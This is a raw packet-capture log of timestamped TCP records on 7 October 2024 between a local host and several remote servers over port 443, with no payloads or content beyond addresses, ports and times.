Oct 7, 2024 21:53:07.800322056 CEST	49729	443	192.168.2.5	151.101.66.137
Oct 7, 2024 21:53:07.800334930 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.800373077 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.800410032 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.800410986 CEST	49729	443	192.168.2.5	151.101.66.137
Oct 7, 2024 21:53:07.800437927 CEST	49729	443	192.168.2.5	151.101.66.137
Oct 7, 2024 21:53:07.800460100 CEST	49729	443	192.168.2.5	151.101.66.137
Oct 7, 2024 21:53:07.804923058 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.804939032 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.804991007 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.804996967 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.805059910 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.805557013 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.805572033 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.805682898 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.805689096 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.805777073 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.817151070 CEST	49730	443	192.168.2.5	104.17.24.14
Oct 7, 2024 21:53:07.849517107 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.849720955 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.849776030 CEST	49730	443	192.168.2.5	104.17.24.14
Oct 7, 2024 21:53:07.849797964 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.849877119 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.849922895 CEST	49730	443	192.168.2.5	104.17.24.14
Oct 7, 2024 21:53:07.849930048 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.850236893 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.850289106 CEST	49730	443	192.168.2.5	104.17.24.14
Oct 7, 2024 21:53:07.850296021 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.850811005 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.850867987 CEST	49730	443	192.168.2.5	104.17.24.14
Oct 7, 2024 21:53:07.850874901 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.851293087 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.851361036 CEST	49730	443	192.168.2.5	104.17.24.14
Oct 7, 2024 21:53:07.851367950 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.851461887 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.851536036 CEST	49730	443	192.168.2.5	104.17.24.14
Oct 7, 2024 21:53:07.851546049 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.851864100 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.851921082 CEST	49730	443	192.168.2.5	104.17.24.14
Oct 7, 2024 21:53:07.851928949 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.852003098 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.852050066 CEST	49730	443	192.168.2.5	104.17.24.14
Oct 7, 2024 21:53:07.852056980 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.852145910 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.852287054 CEST	49730	443	192.168.2.5	104.17.24.14
Oct 7, 2024 21:53:07.852294922 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.852932930 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.853005886 CEST	49730	443	192.168.2.5	104.17.24.14
Oct 7, 2024 21:53:07.853013039 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.853178978 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.853341103 CEST	49730	443	192.168.2.5	104.17.24.14
Oct 7, 2024 21:53:07.853349924 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.853729963 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.853827953 CEST	49730	443	192.168.2.5	104.17.24.14
Oct 7, 2024 21:53:07.853836060 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.853938103 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.854108095 CEST	49730	443	192.168.2.5	104.17.24.14
Oct 7, 2024 21:53:07.854250908 CEST	49730	443	192.168.2.5	104.17.24.14
Oct 7, 2024 21:53:07.854266882 CEST	443	49730	104.17.24.14	192.168.2.5
Oct 7, 2024 21:53:07.866486073 CEST	49732	443	192.168.2.5	104.17.25.14
Oct 7, 2024 21:53:07.866507053 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:07.866569042 CEST	49732	443	192.168.2.5	104.17.25.14
Oct 7, 2024 21:53:07.866760015 CEST	49732	443	192.168.2.5	104.17.25.14
Oct 7, 2024 21:53:07.866775990 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:07.875896931 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.875927925 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.875972986 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.875986099 CEST	49729	443	192.168.2.5	151.101.66.137
Oct 7, 2024 21:53:07.876034975 CEST	49729	443	192.168.2.5	151.101.66.137
Oct 7, 2024 21:53:07.876053095 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.876195908 CEST	49729	443	192.168.2.5	151.101.66.137
Oct 7, 2024 21:53:07.878473997 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.878511906 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.878586054 CEST	49729	443	192.168.2.5	151.101.66.137
Oct 7, 2024 21:53:07.878599882 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.878633976 CEST	49729	443	192.168.2.5	151.101.66.137
Oct 7, 2024 21:53:07.878657103 CEST	49729	443	192.168.2.5	151.101.66.137
Oct 7, 2024 21:53:07.878895044 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.878922939 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.878993988 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.878999949 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.879010916 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.879053116 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.882062912 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.882087946 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.882158995 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.882180929 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.882185936 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.882216930 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.882241964 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.882309914 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.882452965 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.882468939 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.882577896 CEST	49725	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.882582903 CEST	443	49725	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.882988930 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.883016109 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.883075953 CEST	49729	443	192.168.2.5	151.101.66.137
Oct 7, 2024 21:53:07.883089066 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.883119106 CEST	49729	443	192.168.2.5	151.101.66.137
Oct 7, 2024 21:53:07.883141994 CEST	49729	443	192.168.2.5	151.101.66.137
Oct 7, 2024 21:53:07.883857965 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.883949041 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.883951902 CEST	49729	443	192.168.2.5	151.101.66.137
Oct 7, 2024 21:53:07.884000063 CEST	49729	443	192.168.2.5	151.101.66.137
Oct 7, 2024 21:53:07.884566069 CEST	49729	443	192.168.2.5	151.101.66.137
Oct 7, 2024 21:53:07.884596109 CEST	443	49729	151.101.66.137	192.168.2.5
Oct 7, 2024 21:53:07.906703949 CEST	49733	443	192.168.2.5	151.101.194.137
Oct 7, 2024 21:53:07.906766891 CEST	443	49733	151.101.194.137	192.168.2.5
Oct 7, 2024 21:53:07.906833887 CEST	49733	443	192.168.2.5	151.101.194.137
Oct 7, 2024 21:53:07.907083988 CEST	49733	443	192.168.2.5	151.101.194.137
Oct 7, 2024 21:53:07.907105923 CEST	443	49733	151.101.194.137	192.168.2.5
Oct 7, 2024 21:53:07.937125921 CEST	49734	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.937149048 CEST	443	49734	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.937375069 CEST	49734	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.938230038 CEST	49735	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.938271046 CEST	443	49735	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.938442945 CEST	49735	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.938442945 CEST	49735	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.938496113 CEST	443	49735	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.944590092 CEST	49734	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.944602013 CEST	443	49734	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.946137905 CEST	49736	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.946193933 CEST	443	49736	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.946319103 CEST	49736	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.946441889 CEST	49736	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.946470976 CEST	443	49736	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.948025942 CEST	49737	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.948040009 CEST	443	49737	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.948771954 CEST	49738	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.948779106 CEST	443	49738	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.948805094 CEST	49737	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.948834896 CEST	49738	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.948947906 CEST	49738	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.948955059 CEST	443	49738	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:07.949027061 CEST	49737	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:07.949040890 CEST	443	49737	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.206428051 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.206789017 CEST	49731	443	192.168.2.5	104.18.95.41
Oct 7, 2024 21:53:08.206835985 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.207304955 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.207602978 CEST	49731	443	192.168.2.5	104.18.95.41
Oct 7, 2024 21:53:08.207710981 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.207739115 CEST	49731	443	192.168.2.5	104.18.95.41
Oct 7, 2024 21:53:08.251405001 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.253376961 CEST	49731	443	192.168.2.5	104.18.95.41
Oct 7, 2024 21:53:08.324496984 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.324778080 CEST	49732	443	192.168.2.5	104.17.25.14
Oct 7, 2024 21:53:08.324795961 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.328350067 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.328433037 CEST	49732	443	192.168.2.5	104.17.25.14
Oct 7, 2024 21:53:08.328737020 CEST	49732	443	192.168.2.5	104.17.25.14
Oct 7, 2024 21:53:08.328860998 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.328864098 CEST	49732	443	192.168.2.5	104.17.25.14
Oct 7, 2024 21:53:08.335860014 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.335944891 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.335985899 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.336018085 CEST	49731	443	192.168.2.5	104.18.95.41
Oct 7, 2024 21:53:08.336024046 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.336051941 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.336072922 CEST	49731	443	192.168.2.5	104.18.95.41
Oct 7, 2024 21:53:08.336241961 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.336277962 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.336322069 CEST	49731	443	192.168.2.5	104.18.95.41
Oct 7, 2024 21:53:08.336330891 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.336369038 CEST	49731	443	192.168.2.5	104.18.95.41
Oct 7, 2024 21:53:08.336539030 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.337085009 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.337125063 CEST	49731	443	192.168.2.5	104.18.95.41
Oct 7, 2024 21:53:08.337132931 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.338794947 CEST	443	49733	151.101.194.137	192.168.2.5
Oct 7, 2024 21:53:08.339158058 CEST	49733	443	192.168.2.5	151.101.194.137
Oct 7, 2024 21:53:08.339184046 CEST	443	49733	151.101.194.137	192.168.2.5
Oct 7, 2024 21:53:08.340221882 CEST	443	49733	151.101.194.137	192.168.2.5
Oct 7, 2024 21:53:08.340300083 CEST	49733	443	192.168.2.5	151.101.194.137
Oct 7, 2024 21:53:08.340727091 CEST	49733	443	192.168.2.5	151.101.194.137
Oct 7, 2024 21:53:08.340805054 CEST	443	49733	151.101.194.137	192.168.2.5
Oct 7, 2024 21:53:08.340846062 CEST	49733	443	192.168.2.5	151.101.194.137
Oct 7, 2024 21:53:08.375406027 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.379069090 CEST	49732	443	192.168.2.5	104.17.25.14
Oct 7, 2024 21:53:08.379070044 CEST	49731	443	192.168.2.5	104.18.95.41
Oct 7, 2024 21:53:08.379077911 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.379080057 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.383444071 CEST	443	49733	151.101.194.137	192.168.2.5
Oct 7, 2024 21:53:08.394584894 CEST	49733	443	192.168.2.5	151.101.194.137
Oct 7, 2024 21:53:08.394619942 CEST	443	49733	151.101.194.137	192.168.2.5
Oct 7, 2024 21:53:08.423172951 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.423199892 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.423228025 CEST	49731	443	192.168.2.5	104.18.95.41
Oct 7, 2024 21:53:08.423253059 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.423295021 CEST	49731	443	192.168.2.5	104.18.95.41
Oct 7, 2024 21:53:08.423475027 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.423521042 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.423582077 CEST	49731	443	192.168.2.5	104.18.95.41
Oct 7, 2024 21:53:08.423589945 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.424068928 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.424104929 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.424113989 CEST	49731	443	192.168.2.5	104.18.95.41
Oct 7, 2024 21:53:08.424120903 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.424289942 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.424338102 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.424346924 CEST	49731	443	192.168.2.5	104.18.95.41
Oct 7, 2024 21:53:08.424354076 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.424392939 CEST	49731	443	192.168.2.5	104.18.95.41
Oct 7, 2024 21:53:08.424814939 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.424880028 CEST	49731	443	192.168.2.5	104.18.95.41
Oct 7, 2024 21:53:08.424890041 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.425389051 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.425430059 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.425446033 CEST	49731	443	192.168.2.5	104.18.95.41
Oct 7, 2024 21:53:08.425453901 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.426012993 CEST	49731	443	192.168.2.5	104.18.95.41
Oct 7, 2024 21:53:08.426014900 CEST	49732	443	192.168.2.5	104.17.25.14
Oct 7, 2024 21:53:08.426179886 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.426274061 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.426318884 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.426343918 CEST	49731	443	192.168.2.5	104.18.95.41
Oct 7, 2024 21:53:08.426353931 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.426394939 CEST	49731	443	192.168.2.5	104.18.95.41
Oct 7, 2024 21:53:08.427310944 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.427620888 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.427670956 CEST	49731	443	192.168.2.5	104.18.95.41
Oct 7, 2024 21:53:08.427678108 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.427731037 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.427783966 CEST	49731	443	192.168.2.5	104.18.95.41
Oct 7, 2024 21:53:08.428545952 CEST	49731	443	192.168.2.5	104.18.95.41
Oct 7, 2024 21:53:08.428560972 CEST	443	49731	104.18.95.41	192.168.2.5
Oct 7, 2024 21:53:08.441330910 CEST	49733	443	192.168.2.5	151.101.194.137
Oct 7, 2024 21:53:08.441375971 CEST	443	49733	151.101.194.137	192.168.2.5
Oct 7, 2024 21:53:08.463900089 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.464030981 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.464121103 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.464173079 CEST	49732	443	192.168.2.5	104.17.25.14
Oct 7, 2024 21:53:08.464194059 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.464234114 CEST	49732	443	192.168.2.5	104.17.25.14
Oct 7, 2024 21:53:08.464241028 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.464334965 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.464438915 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.464484930 CEST	49732	443	192.168.2.5	104.17.25.14
Oct 7, 2024 21:53:08.464493990 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.464540958 CEST	49732	443	192.168.2.5	104.17.25.14
Oct 7, 2024 21:53:08.464797974 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.464946985 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.464998007 CEST	49732	443	192.168.2.5	104.17.25.14
Oct 7, 2024 21:53:08.465004921 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.468976974 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.469021082 CEST	49732	443	192.168.2.5	104.17.25.14
Oct 7, 2024 21:53:08.469028950 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.486293077 CEST	49733	443	192.168.2.5	151.101.194.137
Oct 7, 2024 21:53:08.516441107 CEST	443	49733	151.101.194.137	192.168.2.5
Oct 7, 2024 21:53:08.516454935 CEST	443	49733	151.101.194.137	192.168.2.5
Oct 7, 2024 21:53:08.516480923 CEST	443	49733	151.101.194.137	192.168.2.5
Oct 7, 2024 21:53:08.516491890 CEST	443	49733	151.101.194.137	192.168.2.5
Oct 7, 2024 21:53:08.516515017 CEST	443	49733	151.101.194.137	192.168.2.5
Oct 7, 2024 21:53:08.516515970 CEST	49733	443	192.168.2.5	151.101.194.137
Oct 7, 2024 21:53:08.516535997 CEST	443	49733	151.101.194.137	192.168.2.5
Oct 7, 2024 21:53:08.516576052 CEST	49733	443	192.168.2.5	151.101.194.137
Oct 7, 2024 21:53:08.516609907 CEST	49733	443	192.168.2.5	151.101.194.137
Oct 7, 2024 21:53:08.518018961 CEST	443	49733	151.101.194.137	192.168.2.5
Oct 7, 2024 21:53:08.518028975 CEST	443	49733	151.101.194.137	192.168.2.5
Oct 7, 2024 21:53:08.518059015 CEST	443	49733	151.101.194.137	192.168.2.5
Oct 7, 2024 21:53:08.518079996 CEST	49733	443	192.168.2.5	151.101.194.137
Oct 7, 2024 21:53:08.518090010 CEST	443	49733	151.101.194.137	192.168.2.5
Oct 7, 2024 21:53:08.518100023 CEST	443	49733	151.101.194.137	192.168.2.5
Oct 7, 2024 21:53:08.518114090 CEST	49733	443	192.168.2.5	151.101.194.137
Oct 7, 2024 21:53:08.518492937 CEST	49733	443	192.168.2.5	151.101.194.137
Oct 7, 2024 21:53:08.519546032 CEST	443	49733	151.101.194.137	192.168.2.5
Oct 7, 2024 21:53:08.519553900 CEST	443	49733	151.101.194.137	192.168.2.5
Oct 7, 2024 21:53:08.519572973 CEST	443	49733	151.101.194.137	192.168.2.5
Oct 7, 2024 21:53:08.519618034 CEST	49733	443	192.168.2.5	151.101.194.137
Oct 7, 2024 21:53:08.519629002 CEST	443	49733	151.101.194.137	192.168.2.5
Oct 7, 2024 21:53:08.519659042 CEST	49733	443	192.168.2.5	151.101.194.137
Oct 7, 2024 21:53:08.519679070 CEST	49733	443	192.168.2.5	151.101.194.137
Oct 7, 2024 21:53:08.519799948 CEST	49732	443	192.168.2.5	104.17.25.14
Oct 7, 2024 21:53:08.547745943 CEST	443	49735	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.550028086 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.550241947 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.550329924 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.550381899 CEST	49732	443	192.168.2.5	104.17.25.14
Oct 7, 2024 21:53:08.550398111 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.550435066 CEST	49732	443	192.168.2.5	104.17.25.14
Oct 7, 2024 21:53:08.550442934 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.550867081 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.550911903 CEST	49732	443	192.168.2.5	104.17.25.14
Oct 7, 2024 21:53:08.550919056 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.551027060 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.551071882 CEST	49732	443	192.168.2.5	104.17.25.14
Oct 7, 2024 21:53:08.551079035 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.551939011 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.551990986 CEST	49732	443	192.168.2.5	104.17.25.14
Oct 7, 2024 21:53:08.551996946 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.552088022 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.552304983 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.552357912 CEST	49732	443	192.168.2.5	104.17.25.14
Oct 7, 2024 21:53:08.552366972 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.552407026 CEST	49732	443	192.168.2.5	104.17.25.14
Oct 7, 2024 21:53:08.552412987 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.552908897 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.552994013 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.552994013 CEST	49732	443	192.168.2.5	104.17.25.14
Oct 7, 2024 21:53:08.553025007 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.553189039 CEST	49732	443	192.168.2.5	104.17.25.14
Oct 7, 2024 21:53:08.553196907 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.553570032 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.553622007 CEST	49732	443	192.168.2.5	104.17.25.14
Oct 7, 2024 21:53:08.553627968 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.553708076 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.553755045 CEST	49732	443	192.168.2.5	104.17.25.14
Oct 7, 2024 21:53:08.553761005 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.554244041 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.554295063 CEST	49732	443	192.168.2.5	104.17.25.14
Oct 7, 2024 21:53:08.554301977 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.554454088 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.554506063 CEST	49732	443	192.168.2.5	104.17.25.14
Oct 7, 2024 21:53:08.554630041 CEST	49732	443	192.168.2.5	104.17.25.14
Oct 7, 2024 21:53:08.554641962 CEST	443	49732	104.17.25.14	192.168.2.5
Oct 7, 2024 21:53:08.559021950 CEST	443	49738	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.559573889 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:08.559603930 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:08.560149908 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:08.560447931 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:08.560461998 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:08.570904970 CEST	49735	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.570935011 CEST	443	49735	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.572717905 CEST	49735	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.572731972 CEST	443	49735	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.573415041 CEST	49738	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.573437929 CEST	443	49738	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.573824883 CEST	49738	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.573847055 CEST	443	49738	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.580640078 CEST	443	49736	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.583908081 CEST	49736	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.583940029 CEST	443	49736	13.107.246.64	192.168.2.5
